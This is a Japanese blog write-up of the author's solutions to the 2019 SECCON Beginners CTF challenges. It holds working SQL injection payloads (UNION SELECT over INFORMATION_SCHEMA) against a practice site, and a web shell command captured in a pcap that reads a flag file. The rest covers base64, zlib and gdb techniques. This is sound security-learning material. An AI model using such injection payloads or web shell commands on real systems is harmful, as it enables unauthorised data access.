https://2018.seccon.jp/2019/05/2nd-seccon-beginners-ctf.html
令和CTFに引き続き、今度はBeginners for CTFに参加してみました!
開催時間は 2019/05/25 15:00~2019/05/26 15:00 の24時間。
某ブラウザゲーのイベントを走りつつ解いてました。楽しかった。
結果
535points/181st! ぼっち参加です。
6問解けました。正直思ったよりは解けたかなって感じです。次はもっと取れるようにがんばりたい。


[warmup] Ramen (Web/73p)
問題
解答
"モダンなラーメン屋さん" のサイトらしいです。ラメーン。
店員を検索できるフォームがあるので、とりあえずシングルクォートを入れると php エラーが。
明らかに SQLi の問題です。
' or '1'='1
を入れると全員(元から表示されていた店員)出てくるだけだったので、
他にテーブルがあるんだろうなと予想。テーブル出すとこから始めました。
' UNION SELECT null, table_name FROM INFORMATION_SCHEMA.TABLES; #
名前 | 一言 |
---|---|
せくこん太郎 | 1970年ry |
せくこん次郎 | せくこんry |
せくこん三郎 | せくこんry |
CHARACTER_SETS | |
COLLATIONS | |
(略) | |
flag | |
members |
' UNION SELECT null, flag FROM flag; #
# 列名は勘
名前 | 一言 |
---|---|
せくこん太郎 | 1970年ry |
せくこん次郎 | せくこんry |
せくこん三郎 | せくこんry |
ctf4b{a_simple_sql_injection_with_union_select} |
出た!
ctf4b{a_simple_sql_injection_with_union_select}
katsudon (Web/101p)
問題
Rails 5.2.1で作られたサイトです。
https://katsudon.quals.beginners.seccon.jp
クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
解答
バージョンが書いてあったので、パッと見てなにか有名な脆弱性とかを使うのかと思ったら違いました。
(追記:katsudon-okawariが脆弱性を使うものだったそうですね)
Rails のことは知らないので、とりあえずコード内の Rails.application.message_verifier
でググる。
すると、こんな説明が見つかりました。
RailsではMessageVerifierをCookieで改ざんのチェックに利用していて、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されています。
他にはパスワード再発行メールでのトークンなどにも使われているそうです。
そのあとにActiveSupport::MessageVerifier.generateで引数に渡したRubyオブジェクトを文字列化しBase64エンコードした文字列と、Base64エンコードしたものを鍵と組み合わせてSHA1でハッシュ化した文字列を--で繋げます。
試しに、問題のクーポンコードの --
より前の部分をデコードしてみます。
$ echo "BAhJIhByZWl3YWhhbnRlbgY6BkVU" | base64 -d
I"reiwahanten:ET
$ echo "BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU" | base64 -d
I"heiseishokudou:ET
$ echo "BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==" | base64 -d
I"restaurantshowa:ET
それっぽいメッセージが出てきました。
同様にフラグの前半部分もデコードして終了です。
$ echo "BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU" | base64 -d
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET
参考
RailsのMessageVerifierの内部実装を追ってみた
[warmup] Seccompare (Reversing/57p)
問題
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
解答
URLから落ちてくるものを解凍すると、拡張子なしのファイルが入っています。file
コマンド曰く、ELF ファイルとのこと。
ELF ファイルに触ったことがなかったので、点数が低いわりに解けなくてばたばたしてました。
よく分からなくてごちゃごちゃとやってますが、たぶんすごく大回りしてます。
とりあえず実行権限を付けて実行。
$ chmod 777 seccompare
$ ./seccompare
usage: ./seccompare flag
$ ./seccompare test
wrong
どうも引数とフラグを比較してる?みたいです。適当に入れてもダメっぽい。
「elf ctf」でググっていると、「IDA」とか「gdb」とかのツールをよく使うらしい。
ということでインストールしてみました。
まず「IDA Free」にseccompare
を読ませると、実行の流れがフローっぽく表示されました。なるほど分かりやすい。
意味を調べつつざっと見て、strcmp
で比較してから分岐して correct/wrong を出力する……という部分を見つけたので、
参考のサイトを真似して「gdb」で変数を見てみることにしました。
$ gdb
(gdb) file seccompare
(gdb) b *0x4006b6 // 比較する直前にブレークポイント設定
Breakpoint 1 at 0x4006b6
(gdb) set args test // 引数を適当に「test」とする
(gdb) r // ブレークポイントまで走らせる
Starting program: /home/saras/ctf4b/seccompare test
Breakpoint 1, 0x00000000004006b6 in main ()
(gdb) x/s $rdx // rdx に入っている値を読む→引数だった
0x7fffffffe7e5: "test"
(gdb) x/s $rax // raxに入っている値を読む→フラグ!
0x7fffffffe470: "ctf4b{5tr1ngs_1s_n0t_en0ugh}"
ctf4b{5tr1ngs_1s_n0t_en0ugh}
参考
CTF for Beginners(オンライン)に参加したよ🍬 - *白百合めも*
gdbの使い方のメモ - ももいろテクノロジー
[warmup] So Tired (Crypto/115p)
問題
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz
解答
ファイルを解凍すると、encrypted.txt
が入っていました。
末尾を見る限り base64 エンコードされていそうなので、デコードします。
$ base64 -d encrypted.txt > decrypt1
$ file decrypt1
decrypt1: zlib compressed data
次は zlib。コマンドが分からなかったので python で。
import zlib
with open("decrypt2", mode="w") as f:
f.write(zlib.decompress(open("decrypt1").read()))
$ python decrypt2.py
$ file decrypt2
decrypt2: ASCII text, with very long lines, with no line terminators
とのことで、decrypt2を見てみるとまた base64 ぽい。
……このあと5つ目までひとつひとつデコードしてたのですが、どうも base64 と zlib を交互に繰り返しているようです。
タイトルを見るになかなか長そうなので、 python で一気にデコードしました。
import zlib
import base64
import sys
def decode(text):
dec = base64.b64decode(text)
return dec
def zlib_b(zb):
op = zlib.decompress(zb)
return op
def end_func(dec):
print("end!")
with open("decrypt10", mode="w") as f:
f.write(dec)
sys.exit()
i = 6
with open("decrypt5", mode="r") as f:
dec = f.read()
while True:
print(i)
try:
if i % 2 == 0:
dec = decode(dec)
else:
dec = zlib_b(dec)
print(dec[:10])
if "ctf4b" in dec[:20]:
end_func(dec)
i += 1
except:
end_func(dec)
(追記:他の方の解答を見るに、こんなに長々と書かなくてもできるみたいですね……)
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
[warmup] Welcome (Misc/51p)
問題
SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf
解答
これはIRCチャンネルにログインするだけ。Welcome問題。
ctf4b{welcome_to_seccon_beginners_ctf}
Dump (Misc/138p)
問題
Analyze dump and extract the flag!!
https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
解答
ダウンロードできるファイルは pcap ファイルでした。
WebShell を使っている様子をキャプチャしてるみたいです。
WebShell に送信しているコマンドは以下。
hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
↓ HTMLデコード
hexdump -e '16/1 "%02.3o " "?n"' /home/ctf4b/flag
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
...
投げているコマンドは、「8進数で3桁を16回繰り返して改行」みたいな意味らしいので、
長いレスポンスをバイナリとして保存すると、.tar.gz 形式で圧縮されていました。
解凍して、中身の jpeg ファイルに書かれているフラグをゲット。
ctf4b{hexdump_is_very_useful}
所感(と解きかけの問題について)
楽しかったです!!!!!(二回目)Reversingのツールが面白かったので次はこの分野を勉強します。
解きかけになってしまったのは「Leakage」「Sliding puzzle」でした。
「Leakage」は IDA を使ってこのあたりでフラグと照合してる!というところまでは分かったものの、なにをすればいいか分からなくなって打ち止め。
「Sliding puzzle」はプログラムをデバッグしている間にタイムアップでした。途中まではうまく解けていたので、こっちは本当に悔しいです……。
次は会社の先輩方と別のCTFに参加する予定があるので、足を引っ張らないように頑張りたいです!